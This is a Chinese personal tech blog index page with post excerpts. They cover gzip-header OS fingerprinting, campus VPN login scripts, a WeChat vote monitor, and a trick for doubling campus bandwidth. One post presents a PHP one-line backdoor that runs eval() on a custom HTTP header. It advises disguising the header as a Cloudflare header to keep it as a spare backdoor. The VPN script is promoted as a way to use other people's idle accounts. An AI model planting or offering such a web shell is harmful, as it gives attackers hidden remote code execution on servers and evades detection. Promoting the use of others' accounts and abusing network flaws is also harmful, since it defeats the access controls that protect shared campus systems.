Ap Blog

Cold code, warm soul.

@Aploium2年前

06/10
11:51
安全

利用gzip文件头中的OS位来判断服务器操作系统

gzip文件格式中有一个有趣的记录了当前操作系统的OS位:

offset:9 length:1 byte OS type
2 bytes optional part number (second part=1)

(完整参考: http://www.onicos.com/staff/iz/formats/gzip.html)

而gzip被广泛地应用于http中,  服务器响应的gzip原始内容中包含这个OS位, 所以可以根据它来判断web服务器的操作系统

例如 windows: (来源页面: https://login.live.com/)

gzip头中的OS 位是0x00, 表示服务器的系统是windows

非零的extra_flags 不知道是表示什么意思

 

以及linux (ubuntu 16.04 apache 2.4.18)

gzip头中的OS 位是0x03, 表示服务器的系统是unix(linux)

 

但是也存在不准确的情况下, 例如 apache(XAMPP) on windows, 尽管是windows, OS位也会被设置成0x03(UNIX)

 

这种方式的实际可用性还有待验证, 但是个人感觉还是挺不错的.

在web指纹识别的时候可以作为备用手段判断目标服务器的操作系统

 

同时, 除了OS位以外, 其他位可能也会包含有用的信息

例如七牛CDN (栗子文件链接 https://o5o245x8j.qnssl.com/ctt/plugins/syntaxhighlighter/syntaxhighlighter3/styles/shCore.css  本站的一个静态文件)

它的OS位是0xFF (UNKNOWN), 但是modification_time是一个非常迷的值(2042/7/14 9:4:0)

o(╯□╰)o

 

此文章还有待更新细节

 

利用gzip文件头中的OS位来判断服务器操作系统

@Aploium3年前

12/29
17:29
网络

在自定义HTTP header中发送的PHP一句话

最常规的一句话是通过POST发送的,已经被狗狗咬得差不多了。后来也有了UA一句话和Referer一句话,但是随着它们开始被广泛应用,估计也活不长…..orz

昨天突然想到可以用自定义header来发送一句话

服务端php代码:

<?php
/*在php里写的header必须是大写*/
eval($_SERVER["HTTP_GREPLAOWEISUO"]);
?>

攻击者发送带有自定义header的请求:
php_demo

结果:

php-backdoor-result

当然不能用在菜刀上,不过可以当成是备用后门用

进一步.为了保险,可以把自定义header改成某些cdn常见的header,比如说

CF-Connecting-IP
CF-RAY
CF-Visitor

这种coludflare的转发头
请求方式也可以是POST/DELETE/TRACE什么的

/*Grep是我某只小基友*/

在自定义HTTP header中发送的PHP一句话

@Aploium3年前

11/20
15:26
网络

Debian(Linux)连接浙大L2TP VPN的脚本

本脚本用于Linux(Debian)连接浙大校园VPN (L2TP) (主要测试于树莓派上)
浙大校园网的特性是ZJUWLAN与VPN的认证互不干扰,并且在连接ZJUWLAN而不登陆的情况下可以通过VPN登陆
于是可以让Linux先连接ZJUWLAN(不登陆),然后经由ZJUWLAN登陆VPN
这样的好处是可以使用别人闲置的VPN账号,而不一定需要用自己的

  • 支持有线与无线
  • 无线时自动连接ZJUWLAN,并用ZJUWLAN承载VPN
  • 使用VPN而不是ZJUWLAN的认证(这样就能用别人闲置的VPN账号了)
  • 自动发送本机IP到自己的接受服务器(附服务端参考代码)
  • 详细的log以帮助debug
  • 半自动断线重连
  • 支持多VPN账号(2015年12月21日更新)
  • DNSPOD域名动态解析(提供PHP代码)

理论上linux通用,目前仅在 Ubuntu 14.04 LTS(VM,桥接,复制物理网络状态)/Kali 2.0(VM,桥接,复制物理网络状态)/raspbian 上实地测试
使用本脚本之前需要先安装xl2tpd

sudo apt-get update
sudo apt-get install xl2tpd

以下为单账号用户的配置步骤

编辑/etc/xl2tpd/xl2tpd.conf文件
加入配置

[global]
port = 1701
access control = no

[lac zjuvpn1] 
lns=10.5.1.9    #Cannot be 10.5.1.7
redial=yes 
redial timeout=5 
max redials=10      
refuse pap=yes 
require chap=yes    #Force chap instead of pap
require authentication=yes 
name=学号
pppoptfile = /etc/ppp/zjuvpn1.options

Read More →

Debian(Linux)连接浙大L2TP VPN的脚本

@Aploium3年前

10/22
23:09
编程 网络

实时监控微信投票的票数

微信刷票是一种破坏公平而令人恼火的行为,更坑爹的是微信后台完全没有办法检测刷票行为(不知道API可不可以,目测也不行)

于是写了一个用来实时监控微信票数的小程序,每隔1分钟抓取微信页面上的票数,帮助抓出刷票的家伙来。

微信投票票数实时监控-实例

图中某组织显然是刷票了


Read More →

实时监控微信投票的票数

@Aploium4年前

05/4
00:37
网络

自己写的浙大VPN登陆器

        受够了无法分辨电脑有没有插线、限制电脑开热点的破官方VPN登陆器,又不想手动连,就写了自己的VPN登陆器。比官方的更稳定更强大。
        自动根据电脑是否插网线选择连有线VPN还是无线VPN,没插线时不需要手动连ZJUWLAN,会自动连ZJUWLAN并连通VPN。并且与手机上ZJUWLAN不冲突。
Read More →

自己写的浙大VPN登陆器

@Aploium4年前

05/4
00:14
网络

轻松获得双倍浙大网速 傻瓜式操作 (使用ZJUWLAN承载VPN)

orz…….居然还有人用…….这个是当初年少无知的时候弄的…….(看这个中二病满满的标题就知道了)w(゚Д゚)w
现在登陆器已经失效,是因为把10.5.1.7的VPN服务器硬编码进去了,现在那个VPN的IP已经失效了。所以登陆器也就失效了(其实所谓的登陆器也只是readial的一个壳……….完全没有技术含量)
但是思路还是可行的,自己折腾也的确能成功,也不要用这里面的版本了,太老了。自行搜索新的破解版叭。这篇古老的东西看看思路就好orz


利用一个ZJUWLAN的设计缺陷,可以获得双倍的网速。 不需要插有线,全程只需要ZJUWLAN,全程自动化
现在将这个过程中需要技术的操作全部编程实现傻瓜式操作,只需要浏览一遍教程,下载已经编好的程序→运行 几乎不需要人工操作,仅有的操作也是最简单的,并且程序全程有提示。

双倍浙大网速示例

成品图(30元账号)


只需要下载→安装→运行,就能轻松得到2倍带宽。
Read More →

轻松获得双倍浙大网速 傻瓜式操作 (使用ZJUWLAN承载VPN)